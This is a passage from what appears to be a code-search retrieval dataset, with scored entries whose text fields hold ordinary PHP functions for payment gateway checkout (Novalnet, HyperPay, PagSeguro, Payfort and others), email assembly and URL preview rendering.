$fields->toArray();\n\n\t\t\t$this->_data = array(\n\t\t\t\t'name' => $this->crosswalk->getName(),\n\t\t\t\t'publicCrosswalkId' => $this->crosswalk->getPublicCrosswalkId(),\n\t\t\t\t'description' => $this->crosswalk->getDescription(),\n\t\t\t\t'fields' => &$fields,\n\t\t\t\t'crosswalkType' => $this->crosswalk->getType()\n\t\t\t);\n\t\t} else {\n\t\t\t$this->crosswalkId = null;\n\t\t\t$this->_data = array(\n\t\t\t\t'crosswalkType' => FIELD_TYPE_STRING\n\t\t\t);\n\t\t}\n\n\t\t// Allow user-submitted parameters to override the \n\t\t// usual form values. This is useful for when users\n\t\t// change the harvester plugin so that they don't have\n\t\t// to re-key changes to form elements.\n\t\t$parameterNames = $this->getParameterNames();\n\t\tforeach ($parameterNames as $name) {\n\t\t\t$value = Request::getUserVar($name);\n\t\t\tif (!empty($value)) {\n\t\t\t\t$this->setData($name, $value);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ae7184d343ce5dff819e93e632caa3e0", "score": "0.5632931", "text": "public function processPayment()\n\t{\n\t\t$requestData = $this->request->all();\t\t\n\t\t$serverRequestData = $this->paymentService->getRequestParameters($this->basketRepository->load(), $requestData['paymentKey']);\n\t\t$this->sessionStorage->getPlugin()->setValue('nnPaymentData', $serverRequestData['data']);\n\t\t$guarantee_payments = [ 'NOVALNET_SEPA', 'NOVALNET_INVOICE' ]; \n\t\tif($requestData['paymentKey'] == 'NOVALNET_CC') {\n\t\t\t$serverRequestData['data']['pan_hash'] = $requestData['nn_pan_hash'];\n\t\t\t$serverRequestData['data']['unique_id'] = $requestData['nn_unique_id'];\n\t\t\tif($this->config->get('Novalnet.novalnet_cc_3d') == 'true' || $this->config->get('Novalnet.novalnet_cc_3d_fraudcheck') == 'true' )\n\t\t\t{\n\t\t\t\t$this->sessionStorage->getPlugin()->setValue('nnPaymentData', $serverRequestData['data']);\n\t\t\t\t$this->sessionStorage->getPlugin()->setValue('nnPaymentUrl',$serverRequestData['url']);\n\t\t\t\treturn $this->response->redirectTo('place-order');\n\t\t\t}\n\t\t}\n\t\t// Mandatory params for SEPA\n\t\tif ( $requestData['paymentKey'] == 'NOVALNET_SEPA' ) {\n\t\t\t$serverRequestData['data']['bank_account_holder'] = $requestData['nn_sepa_cardholder'];\n\t\t\t$serverRequestData['data']['iban'] = $requestData['nn_sepa_iban'];\t\n\t\t} \n\t\t\t\n\t\t$guaranteeStatus = $this->paymentService->getGuaranteeStatus($this->basketRepository->load(), $requestData['paymentKey']); \n\t\t\t\n\t\tif($guaranteeStatus['status'])\n\t\t{\t\t \n\t\t\t$birthday = ( $requestData['paymentKey'] == 'NOVALNET_SEPA' ) ? $requestData['nn_sepa_birthday'] : $requestData['nn_invoice_birthday'];\n\t\t\t// Guarantee payment params \n\t\t\tif( $requestData['paymentKey'] == 'NOVALNET_SEPA' ) {\n\t\t\t\t$serverRequestData['data']['payment_type'] = 'GUARANTEED_DIRECT_DEBIT_SEPA';\n\t\t\t\t$serverRequestData['data']['key'] = '40';\n\t\t\t\t$serverRequestData['data']['birth_date'] = $birthday;\n\t\t\t} else {\t\t\t\t\t\t\n\t\t\t\t$serverRequestData['data']['payment_type'] = 'GUARANTEED_INVOICE';\n\t\t\t\t$serverRequestData['data']['key'] = '41';\n\t\t\t\t$serverRequestData['data']['birth_date'] = $birthday;\t\t\t\t\t\t\t\n\t\t\t}\n\t\t\t// Proceed as non gurantee if condition for birthdate doesn't meet as well as force is enable\n\t\t\tif($this->config->get( 'Novalnet'.$requestData['paymentKey'].'_payment_guarantee_force_active' ) == 'true') {\n\t\t\t\tif( $requestData['paymentKey'] == 'NOVALNET_SEPA' ) {\n\t\t\t\t\t$serverRequestData['data']['payment_type'] = 'DIRECT_DEBIT_SEPA';\n\t\t\t\t\t$serverRequestData['data']['key'] = '37';\n\t\t\t\t} else {\n\t\t\t\t\t$serverRequestData['data']['payment_type'] = 'INVOICE_START';\n\t\t\t\t\t$serverRequestData['data']['key'] = '27';\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(empty($birthday))\n\t\t\t\t{\t\n\t\t\t\t\t$responseData['status'] = '101';\n\t\t\t\t\t$this->paymentService->pushNotification('error', $this->paymentHelper->getTranslatedText('doberror'));\n\t\t\t\t\treturn $this->response->redirectTo('checkout');\n\t\t\t\t}\n\t\t\t\telse if(time() < strtotime('+18 years', strtotime($birthday)))\n\t\t\t\t{\n\t\t\t\t\t$this->paymentService->pushNotification('error', $this->paymentHelper->getTranslatedText('dobinvalid'));\n\t\t\t\t\treturn $this->response->redirectTo('checkout');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$response = $this->paymentHelper->executeCurl($serverRequestData['data'], $serverRequestData['url']);\n\t\t$responseData = $this->paymentHelper->convertStringToArray($response['response'], '&');\n\t\t$responseData['payment_id'] = (!empty($responseData['payment_id'])) ? $responseData['payment_id'] : $responseData['key'];\n\t\t$isPaymentSuccess = isset($responseData['status']) && $responseData['status'] == '100';\n\t\t$notificationType = $isPaymentSuccess ? 'success' : 'error';\n\t\t$this->paymentService->pushNotification($notificationType, $this->paymentHelper->getNovalnetStatusText($responseData));\n\t\tif($isPaymentSuccess)\n\t\t{\t\t\t\n\t\t\tif(isset($serverRequestData['data']['pan_hash']))\n\t\t\t{\n\t\t\t\tunset($serverRequestData['data']['pan_hash']);\n\t\t\t}\n\n\t\t\t$this->sessionStorage->getPlugin()->setValue('nnPaymentData', array_merge($serverRequestData['data'], $responseData));\n\n\t\t\t// Redirect to the success page.\n\t\t\treturn $this->response->redirectTo('place-order');\n\t\t} else {\n\t\t\t// Redirects to the checkout page.\n\t\t\treturn $this->response->redirectTo('checkout');\n\t\t}\n\t}", "title": "" }, { "docid": "0e04943f936a73bb280bd11d2836655c", "score": "0.5626514", "text": "public function prepareTheCheckout($quote,$code)\n {\n\n //$shippingMethod =$order->getShippingMethod();\n $email = $quote->getBillingAddress()->getEmail();\n if (!$email) $email = $quote->getCustomerEmail();\n if (!$email) $email = $quote->getShippingAddress()->getEmail();\n //order#\n $quote->reserveOrderId()->save();\n $orderId=$quote->getReservedOrderId();\n $amount=$quote->getBaseGrandTotal();\n $total=$this->_helper->convertPrice($code, $amount);\n\n if($this->_adapter->getEnv()) {\n $grandTotal = (int) $total;\n }else {\n $grandTotal=number_format($total, 2, '.', '');\n }\n\n $currency=$this->_adapter->getSupportedCurrencyCode($code);\n $paymentType =$this->_adapter->getPaymentType($code);\n $this->_adapter->setPaymentTypeAndCurrency($quote, $paymentType, $currency);\n\n $ip = $this->_remote->getRemoteAddress();\n $baseUrl = $this->_adapter->getUrl();\n $url = $baseUrl.'checkouts';\n $data = \"entityId=\".$this->_adapter->getEntity($code).\n \"&amount=\".$grandTotal.\n \"&currency=\".$currency.\n \"&paymentType=\".$paymentType.\n \"&customer.ip=\".$ip.\n \"&customer.email=\".$email.\n \"&shipping.customer.email=\".$email.\n \"&merchantTransactionId=\".$orderId;\n $accesstoken = $this->_adapter->getAccessToken();\n $auth = array('Authorization'=>'Bearer '.$accesstoken);\n $this->_helper->setHeaders($auth);\n $data .= $this->_helper->getBillingAndShippingAddress($quote,$code);\n if(!empty($this->_adapter->getRiskChannelId())) {\n $data .= \"&risk.channelId=\".$this->_adapter->getRiskChannelId(). \n \"&risk.serviceId=I\".\n \"&risk.amount=\".$grandTotal.\n \"&risk.parameters[USER_DATA1]=Mobile\";\n }\n \n \n \n $data .= $this->_adapter->getModeHyperpay();\n /* .\n \"&shipping.method=\".$shippingMethod*/\n if($code=='HyperPay_SadadNcb') {\n $data .=\"&bankAccount.country=SA\"; \n }\n if ($code=='HyperPay_stc') {\n $data .= '&customParameters[branch_id]=1';\n $data .= '&customParameters[teller_id]=1';\n $data .= '&customParameters[device_id]=1';\n $data .= '&customParameters[locale]='. substr($this->_resolver->getLocale(),0,-3);\n $data .= '&customParameters[bill_number]=' . $orderId;\n\n }\n if($this->_adapter->getEnv() && $code=='HyperPay_ApplePay') {\n $data .= \"&customParameters[3Dsimulator.forceEnrolled]=true\";\n }\n if ($this->checkIfExist($orderId,$baseUrl)) {\n throw new \\Exception(__(\"This order has already been processed,Please place a new order\"));\n }\n $decodedData = $this->_helper->getCurlReqData($url, $data);\n if (!isset($decodedData['id'])) {\n $this->_helper->doError('Request id is not found');\n }\n return $this->_adapter->getUrl().\"paymentWidgets.js?checkoutId=\".$decodedData['id'];\n\n \n }", "title": "" }, { "docid": "9dddb13783356219ac98b4014c148016", "score": "0.5615112", "text": "function _prepare_data()\n\t{\n $data = array();\n\t\t$data['Subject'] = $this->_subject;\n \t\t\n\t\t$data['From'] = is_null($this->from_name) ? $this->from_address : \"{$this->from_name} <{$this->from_address}>\";\n\t\t$data['To'] = is_null($this->_to_name) ? $this->_to_address : \"{$this->_to_name} <{$this->_to_address}>\";\n\n\t\tif (!is_null($this->_cc_address) && ($this->_cc_address != '')) {\n $data['Cc'] = is_null($this->_cc_name) ? $this->_cc_address : \"{$this->_cc_name} <{$this->_cc_address}>\";\n\t\t}\n\n\t\tif (!is_null($this->_reply_to_address) && ($this->_reply_to_address != '')) {\n $data['ReplyTo'] = is_null($this->_reply_to_name) ? $this->_reply_to_address : \"{$this->_reply_to_name} <{$this->_reply_to_address}>\";\n\t\t}\n\n\t\tif (!is_null($this->_tag) && ($this->_tag != '')) {\n\t\t $data['tag'] = $this->_tag;\n\t\t}\n\n\t\tif (!is_null($this->_message_html)) {\n\t\t\t$data['HtmlBody'] = $this->_message_html;\n\t\t}\n\n\t\tif (!is_null($this->_message_plain)) {\n\t\t\t$data['TextBody'] = $this->_message_plain;\n\t\t}\n\n if ($this->_attachments) {\n $data['Attachments'] = $this->_attachments;\n }\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "033fabd22fc86c9ea9fe3dc0904427b3", "score": "0.5607324", "text": "protected function obtainData()\n\t{\n\t\t$this->obtainDataReferences();\n\t\t$this->obtainDataOrders();\n\t}", "title": "" }, { "docid": "32e8299a30209fd25b6bc3b74d2028df", "score": "0.56062305", "text": "private function createPayment()\n {\n $paymentData = new Registry(\n [\n 'invoice_id'=>$this->invoice->id,\n 'method'=>$this->payment_method,\n 'amount'=>$this->order->due_now\n ]\n );\n\n $this->payment = Sp4kAppsPaymentApp::getInstance($paymentData)->getItem();\n }", "title": "" }, { "docid": "e050c3d8bb82ac911170abc58ce132ce", "score": "0.56036097", "text": "abstract public function prepare();", "title": "" }, { "docid": "fbbd2c6b2a650569314157fd82293964", "score": "0.5594323", "text": "function prepare()\r\n\t{\r\n\t\treturn parent::prepare();\r\n\t}", "title": "" }, { "docid": "8be2b35ae222f359f853aaa515ac4db8", "score": "0.55906105", "text": "protected function prepareData()\n\t{\n\t\t$this->arResult['METADATA'] = $this->arParams['METADATA'];\n\t\t$this->setDynamicPreview();\n\n\t\t$this->arResult['FIELD_NAME'] = $this->arParams['PARAMS']['arUserField']['FIELD_NAME'];\n\t\tif($this->arResult['METADATA']['ID'] > 0)\n\t\t\t$this->arResult['FIELD_VALUE'] = Main\\UrlPreview\\UrlPreview::sign($this->arResult['METADATA']['ID']);\n\t\telse\n\t\t\t$this->arResult['FIELD_VALUE'] = null;\n\n\t\t$this->arResult['FIELD_ID'] = $this->arParams['PARAMS']['arUserField']['ID'];\n\t\t$this->arResult['ELEMENT_ID'] = $this->arParams['PARAMS']['urlPreviewId'];\n\n\t\tif(isset($this->arParams['~METADATA']['EMBED']) && $this->arParams['~METADATA']['EMBED'] != '')\n\t\t{\n\t\t\t$this->arResult['METADATA']['EMBED'] = $this->arParams['~METADATA']['EMBED'];\n\t\t\tif(mb_strpos($this->arResult['METADATA']['EMBED'], '<iframe') !== 0)\n\t\t\t{\n\t\t\t\t$this->arResult['METADATA']['EMBED'] = '<iframe class=\"urlpreview-iframe-html-embed\" src=\"'.Main\\UrlPreview\\UrlPreview::getInnerFrameUrl($this->arResult['METADATA']['ID']).'\" allowfullscreen=\"\" width=\"'.Main\\UrlPreview\\UrlPreview::IFRAME_MAX_WIDTH.'\" height=\"'.Main\\UrlPreview\\UrlPreview::IFRAME_MAX_HEIGHT.'\" frameborder=\"0\" onload=\"BXUrlPreview.adjustFrameHeight(this);\"></iframe>';\n\t\t\t}\n\t\t\t$this->arResult['METADATA']['EMBED'] = $this->prepareFrame($this->arResult['METADATA']['EMBED']);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif($this->arParams['METADATA']['EXTRA']['VIDEO'])\n\t\t\t{\n\t\t\t\t$this->arResult['METADATA']['EMBED'] = $this->invokePlayer();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->arResult['METADATA']['EMBED'] = null;\n\t\t\t}\n\t\t}\n\n\t\t$this->arResult['SELECT_IMAGE'] = (\n\t\t\t\t$this->editMode\n\t\t\t\t&& empty($this->arResult['METADATA']['EMBED'])\n\t\t\t\t&& is_array($this->arResult['METADATA']['EXTRA'])\n\t\t\t\t&& is_array($this->arResult['METADATA']['EXTRA']['IMAGES'])\n\t\t);\n\n\t\tif($this->arResult['SELECT_IMAGE'])\n\t\t{\n\t\t\t$this->arResult['SELECTED_IMAGE'] = $this->arResult['METADATA']['EXTRA']['SELECTED_IMAGE'] ?: 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->arResult['METADATA']['CONTAINER']['CLASSES'] = \"\";\n\n\t\t\tif ($this->arResult['METADATA']['IMAGE_ID'] > 0\n\t\t\t\t\t&& $imageFile = \\CFile::GetFileArray($this->arResult['METADATA']['IMAGE_ID']))\n\t\t\t{\n\t\t\t\t$this->arResult['METADATA']['IMAGE'] = $imageFile['SRC'];\n\t\t\t\tif($imageFile['HEIGHT'] > $imageFile['WIDTH'] * 1.5)\n\t\t\t\t{\n\t\t\t\t\t$this->arResult['METADATA']['CONTAINER']['CLASSES'] .= \" urlpreview__container-left\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->arResult['SHOW_CONTAINER'] = isset($this->arResult['METADATA']['IMAGE']) && $this->arResult['METADATA']['IMAGE'] != ''\n\t\t\t\t\t|| isset($this->arResult['METADATA']['EMBED']) && $this->arResult['METADATA']['EMBED'] != '';\n\n\t\t\tif( isset($this->arResult['METADATA']['IMAGE'])\n\t\t\t\t\t&& $this->arResult['METADATA']['IMAGE'] != ''\n\t\t\t\t\t&& isset($this->arResult['METADATA']['EMBED'])\n\t\t\t\t\t&& $this->arResult['METADATA']['EMBED'] != ''\n\t\t\t)\n\t\t\t{\n\t\t\t\t$this->arResult['METADATA']['CONTAINER']['CLASSES'] .= \" urlpreview__container-switchable\";\n\t\t\t\t$this->arResult['METADATA']['CONTAINER']['CLASSES'] .= \" urlpreview__container-hide-embed\";\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "81e1752d14e2339c3e43b1c09cd36da3", "score": "0.5583763", "text": "protected static function _prepare()\n {\n $conf = App::conf();\n\n date_default_timezone_set($conf->timezone);\n\n setlocale(LC_ALL, $conf->locale);\n\n if ( function_exists('mb_internal_encoding')) {\n mb_internal_encoding($conf->encoding);\n }\n\n // REQUEST_URI in IIS\n $_SERVER['IS_IIS'] = (false !== strpos(strtolower($_SERVER['SERVER_SOFTWARE']), 'microsoft-iis'));\n if ( ! isset($_SERVER['REQUEST_URI']) ) {\n $_SERVER['REQUEST_URI'] = $_SERVER['PHP_SELF'];\n if ( isset($_SERVER['QUERY_STRING'])) {\n $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];\n }\n }\n\n // php5 - stripslashes_gpc\n if ( get_magic_quotes_gpc()) {\n $stripslashes_gpc = create_function('&$value', '$value = stripslashes($value);');\n array_walk_recursive($_GET, $stripslashes_gpc);\n array_walk_recursive($_POST, $stripslashes_gpc);\n array_walk_recursive($_COOKIE, $stripslashes_gpc);\n array_walk_recursive($_REQUEST, $stripslashes_gpc);\n }\n\n $_REQUEST['is_ajax'] = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == \"XMLHttpRequest\");\n $_REQUEST['is_ssl'] = is_ssl();\n }", "title": "" }, { "docid": "8490198e3014137ddc2704ab40263bce", "score": "0.55822575", "text": "protected function preparePaymentFormPane() {\n\t\t\n\t}", "title": "" }, { "docid": "42ab2e8f91f065d84f94a183806422c1", "score": "0.5580138", "text": "public function __construct()\n {\n $this->merchant_id = '';\n $this->booking_series = 1000; \n $this->bank_charges = 3.07;\n $this->partial_payment = 20;\n $this->remaining_payment = 100 - $this->partial_payment;\n\n $payment_settings = PaymentSettings::first();\n if(!is_null($payment_settings)){\n $this->bank_charges = $payment_settings->bank_charges;\n $this->partial_payment = $payment_settings->partial_payment;\n $this->remaining_payment = 100 - $this->partial_payment;\n }\n }", "title": "" }, { "docid": "e4e9d11bcf21f3840a985e91fcf373e1", "score": "0.55765283", "text": "public function get_payu_data() {\n\t\t\treturn array(\n\t\t\t\t'email' => $this->get_email(),\n\t\t\t\t'firstName' => $this->get_name(),\n\t\t\t\t'lastName' => $this->get_surname()\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "065f985ebbac08983669dac5d9f59ee5", "score": "0.55732113", "text": "public function prepare()\n {\n }", "title": "" }, { "docid": "065f985ebbac08983669dac5d9f59ee5", "score": "0.55732113", "text": "public function prepare()\n {\n }", "title": "" }, { "docid": "c8858cd09c0c5339d31aca2c585c1079", "score": "0.55722046", "text": "public function _process()\r\n\t{\r\n\t\tif (! JRequest::checkToken())\r\n\t\t:\r\n\t\t{\r\n\t\t\treturn $this->_renderHtml(JText::_('J2STORE_PAYMILL_INVALID_TOKEN'));\r\n\t\t}\r\n\t\tendif;\r\n\t\t$jinput = JFactory::getApplication()->input;\r\n\t\t$data = $jinput->get('post');\r\n\r\n\t\t// Get order information\r\n\t\tJTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_j2store/tables');\r\n\t\t$order = JTable::getInstance('Orders', 'Table');\r\n\t\t$order->load($data['orderpayment_id']);\r\n\r\n\t\t// Check for exisiting things\r\n\t\tif (empty($order->order_id))\r\n\t\t:\r\n\t\t{\r\n\t\t\treturn JText::_('J2STORE_PAYMILL_INVALID_ORDER');\r\n\t\t}\r\n\t\tendif;\r\n\r\n\t\t// Prepare the form for submission to sage pay\r\n\t\t$process_vars = $this->_getProcessVars($data);\r\n\r\n\t\treturn $this->_processSimplePayment($process_vars);\r\n\t}", "title": "" }, { "docid": "258829e1b8d74eac83b734d365cd3dac", "score": "0.55692875", "text": "public function prepare()\r\n\t{\r\n\t\t$dirAlias = empty($this->classDirectory) ? 'application.components' : $this->classDirectory;\r\n\r\n\t\t//generate the wsdl classes\r\n\t\t$path=Yii::getPathOfAlias($dirAlias . '.' . $this->serviceClassName) . '.php';\r\n\t\t$code=$this->render($this->templatepath.'/wsdl2php.php');\r\n\t\t$this->files[]=new CCodeFile($path, $code);\r\n\t}", "title": "" }, { "docid": "f1d61777f1f46fbf4d35f2e88846632d", "score": "0.55664283", "text": "public function prepare()\n {\n return $this->processor->prepare(Input::all());\n }", "title": "" }, { "docid": "04bcd8a18ff14da88799400f2b1c1de7", "score": "0.5557712", "text": "public function prepareSave() {\n\t\t$info = $this->getInfoInstance();\n\n\t\tif ($info->getCcCvc() && $info->getCcCvc() != '') {\n\t\t\t$additional = new stdClass();\n\t\t\t$additional->creditCardNumber = $info->getCcNumber();\n\t\t\t$additional->creditCardHolderName = $info->getCcOwner();\n\t\t\t$additional->creditCardCvc = $info->getCcCvc();\n\t\t\t$additional->creditCardExpiry = $info->getCcExpiry();\n\t\t\t$additional->fingerPrint = $info->getFingerPrint();\n\n\t\t\t$installments = 0;\n\t\t\t$installmentAmount = 0;\n\n\t\t\t$arrayex = explode('-', $info->getCcInstallments());\n\t\t\tif (isset($arrayex[0])) {\n\t\t\t\t$installments = $arrayex[0];\n\t\t\t\t$installmentAmount = $arrayex[1];\n\t\t\t}\n\n\t\t\t$additional->installments = $installments;\n\t\t\t$additional->installmentAmount = $installmentAmount;\n\n\t\t\tif ($info->getCcHolderAnother() && $info->getCcHolderAnother() == 1) {\n\t\t\t\t$additional->creditCardHolderAnother = $info->getCcHolderAnother();\n\t\t\t\t$additional->creditCardHolderCpf = $info->getCcHolderCpf();\n\t\t\t\t$additional->creditCardHolderPhone = $info->getCcHolderPhone();\n\t\t\t\t$additional->creditCardHolderBirthDate = $info->getCcHolderBirthDate();\n\t\t\t}\n\n\t\t\t$serializedValue = json_encode($additional);\n\t\t\t$info->setAdditionalData($serializedValue);\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "262178ae86506bea058d6eb581ac482a", "score": "0.5554526", "text": "protected function paymentGetRequest()\n {\n\n $resourcePath = '/payment';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n\n // body params\n $_tempBody = null;\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n []\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n if ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($_tempBody));\n } else {\n $httpBody = $_tempBody;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('api_key');\n if ($apiKey !== null) {\n $queryParams['api_key'] = $apiKey;\n }\n // this endpoint requires OAuth (access token)\n if ($this->config->getAccessToken() !== null) {\n $headers['Authorization'] = 'Bearer ' . $this->config->getAccessToken();\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'GET',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "3baf1b985c612d960c18d9f2f75fc896", "score": "0.5553591", "text": "public function processPurchasePaymentThroughAPI($data)\n {\n # Prepare api request parameters\n $requestParams = [\n 'command' => data_get($data, 'command', 'PURCHASE'),\n 'access_code' => $this->config['access_code'],\n 'merchant_identifier' => $this->config['merchant_identifier'],\n 'merchant_reference' => $data['merchant_reference'],\n 'amount' => $this->getPayfortAmount($data['amount'], $data['currency']),\n 'currency' => data_get($data, 'currency', $this->config['currency']),\n 'language' => $this->config['language'],\n 'customer_email' => $data['customer_email'],\n 'eci' => data_get($data, 'eci', 'ECOMMERCE'),\n 'remember_me' => data_get($data, 'remember_me', 'YES'),\n 'token_name' => $data['token_name'],\n ];\n\n # Redirection page request optional parameters\n $requestOptionalParameters = [\n 'payment_option',\n 'card_security_code',\n 'order_description',\n 'customer_name',\n 'merchant_extra',\n 'merchant_extra1',\n 'merchant_extra2',\n 'merchant_extra3',\n 'phone_number',\n 'settlement_reference',\n 'customer_ip',\n 'return_url'\n ];\n\n # Check for request optional parameters in passed params\n foreach ($requestOptionalParameters as $optionalParameter) {\n if (array_key_exists($optionalParameter, $data)) {\n $requestParams[$optionalParameter] = $data[$optionalParameter];\n }\n }\n $response = $this->callPayfortAPI($requestParams);\n\n return $response;\n\n }", "title": "" }, { "docid": "de60e0f2dd01c41c51786ec2ba32206f", "score": "0.5545589", "text": "public function prepare() {\n\n }", "title": "" }, { "docid": "13c06452b5822d643e448f22c0ea225d", "score": "0.55397576", "text": "public function _getProcessorData($data) {\r\n Configure::load('payment_methods/psigateApi');\r\n\r\n $processorData = array (\r\n \t'StoreID' => Configure::read('psigate.store_id'),\r\n \t'Passphrase' => Configure::read('psigate.pass_phrase'),\r\n \t'Subtotal' => $data['total'],\r\n \t'PaymentType' => 'CC',\r\n \t'CardAction' => '0',\r\n \t'CardNumber' => $data['CreditCard']['number'],\r\n \t'CardExpMonth' => $data['CreditCard']['month'],\r\n \t'CardExpYear' => $data['CreditCard']['year'],\r\n );\r\n return $processorData;\r\n\t}", "title": "" }, { "docid": "eaa7e8f1816b441239236ebb20c81a6d", "score": "0.5531992", "text": "public function render()\n\t{\n\t\tif( $this->is_sandbox === true )\n\t\t{\n\t\t\t\\PagSeguro\\Configuration\\Configure::setEnvironment('sandbox');\n\t\t\t$this->token = $this->sandbox;\n\t\t}\n\t\t\n\t\t//define o tipo de moeda\n\t\t$this->payment->setCurrency(\"BRL\");\n\t\t\n\t\t//define a identificação única do pedido\n\t\t$this->payment->setReference($this->getPaymentId());\n\t\t\n\t\t//define a URL de retorno\n\t\t$this->payment->setRedirectUrl($this->getRedirectUrl());\n\t\t\n// \t\t//define a URL para notificação\n// \t\t$this->payment->setNotificationUrl($_SERVER['HTTP_HOST']);\n\n\t\t//dados do comprador\n\t\tif( !empty($this->sender_data) )\n\t\t{\n\t\t\t//converter charset\n\t\t\t$this->sender_data['name'] = utf8_decode($this->sender_data['name']);\n\t\t\t$this->payment->setSender()->setName($this->sender_data['name']);\n\t\t\t$this->payment->setSender()->setEmail($this->sender_data['email']);\n\t\t\t$this->payment->setSender()->setPhone()->withParameters($this->sender_data['phone_ddd'], $this->sender_data['phone_number']);\n\t\t\t$this->payment->setSender()->setDocument()->withParameters('CPF', $this->sender_data['document']);\n\t\t}\n\t\t\n\t\t//dados do endereço de entrega\n\t\tif( !empty($this->shipping_address) )\n\t\t{\n\t\t\t//converter charset\n\t\t\t$this->shipping_address['street'] = utf8_decode($this->shipping_address['street']);\n\t\t\t$this->shipping_address['district'] = utf8_decode($this->shipping_address['district']);\n\t\t\t$this->shipping_address['city'] = utf8_decode($this->shipping_address['city']);\n\t\t\t$this->shipping_address['state'] = utf8_decode($this->shipping_address['state']);\n\t\t\t$this->shipping_address['country'] = utf8_decode($this->shipping_address['country']);\n\t\t\t$this->shipping_address['complement'] = utf8_decode($this->shipping_address['complement']);\n\t\t\t\n\t\t\t$this->payment->setShipping()->setAddress()->withParameters(\n\t\t\t\t$this->shipping_address['street'],\n\t\t\t\t$this->shipping_address['number'],\n\t\t\t\t$this->shipping_address['district'],\n\t\t\t\t$this->shipping_address['postalcode'],\n\t\t\t\t$this->shipping_address['city'],\n\t\t\t\t$this->shipping_address['state'],\n\t\t\t\t$this->shipping_address['country'],\n\t\t\t\t$this->shipping_address['complement']\n\t\t\t);\n\t\t}\n\t\t\n\t\t//adicionar os itens ao pedido\n\t\tforeach( $this->order_items as $item )\n\t\t{\n\t\t\t$id = $item['id'];\n\t\t\t$description = utf8_decode($item['description']);\n\t\t\t$quantity = $item['quantity'];\n\t\t\t$amount = number_format($item['amount'], 2);\n\t\t\t$weight = $item['weight'];\n\t\t\t$shippingCost = $item['$shippingCost'];\n\t\t\t$this->payment->addItems()->withParameters($id, $description, $quantity, $amount, $weight, $shippingCost);\n\t\t}\n\t\t\n\t\t//dados do custo de entrega\n\t\tif( !empty($this->shipping_cost) )\n\t\t{\n\t\t\t$value = number_format($this->shipping_cost, 2);\n\t\t\t$this->payment->setShipping()->setCost()->withParameters($value);\n\t\t}\n\t\t\n\t\t//dados do tipo de frete\n\t\tif( $this->shipping_type == 'Sedex' )\n\t\t{\n\t\t\t$shipping_type = \\PagSeguro\\Enum\\Shipping\\Type::SEDEX;\n\t\t\n\t\t} elseif ( $this->shipping_type == 'Pac' )\n\t\t{\n\t\t\t$shipping_type = \\PagSeguro\\Enum\\Shipping\\Type::PAC;\n\t\t\n\t\t} else {\n\t\t\t$shipping_type = \\PagSeguro\\Enum\\Shipping\\Type::NOT_SPECIFIED;\n\t\t}\n\t\t$this->payment->setShipping()->setType()->withParameters($shipping_type);\n\t\t\n \t\t//adicionar um desconto\n \t\tif( !empty($this->payment_discount) )\n \t\t{\n \t\t\t$value = number_format(($this->payment_discount * -1), 2);\n \t\t\t$this->payment->setExtraAmount($value);\n \t\t}\n\t\t\n\t\ttry {\n\t\t\t\n\t\t\t\\PagSeguro\\Configuration\\Configure::setAccountCredentials($this->email, $this->token);\n\t\t\treturn $this->payment->register(\\PagSeguro\\Configuration\\Configure::getAccountCredentials());\n\t\t\n\t\t} catch (Exception $e) {\n\t\t\tdie($e->getMessage());\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "becc7a2b3ef2ddf5b168bdbce2254bb9", "score": "0.5531611", "text": "abstract public function prepare_object();", "title": "" }, { "docid": "e5ecabd6ea3a2db1fcd92fa3d4ce5cd6", "score": "0.55142033", "text": "public function response()\n {\n $this -> load -> model('paymentresponse_model', '', TRUE);\n\n if (!strlen($_SERVER['QUERY_STRING']))\n {\n $this -> load_error_trans();\n } else\n {\n $string_out = base64_decode($_SERVER['QUERY_STRING']);\n parse_str($string_out, $data);\n }\n\n $data['slugname'] = $this -> paymentresponse_model -> get_customer_by_uuid($data['cid']) -> slugname;\n\n if (array_key_exists('card' , $data))\n {\n $data['paymentType'] = 'cc';\n $data['cardImage'] = $this -> getCardImage($data['card']);\n } else\n {\n $data['paymentType'] = 'ach';\n }\n\n if (strpos(strtolower($data['responseText']), 'approved') !== false)\n {\n $this -> load_approve_trans($data);\n } else\n {\n $this -> 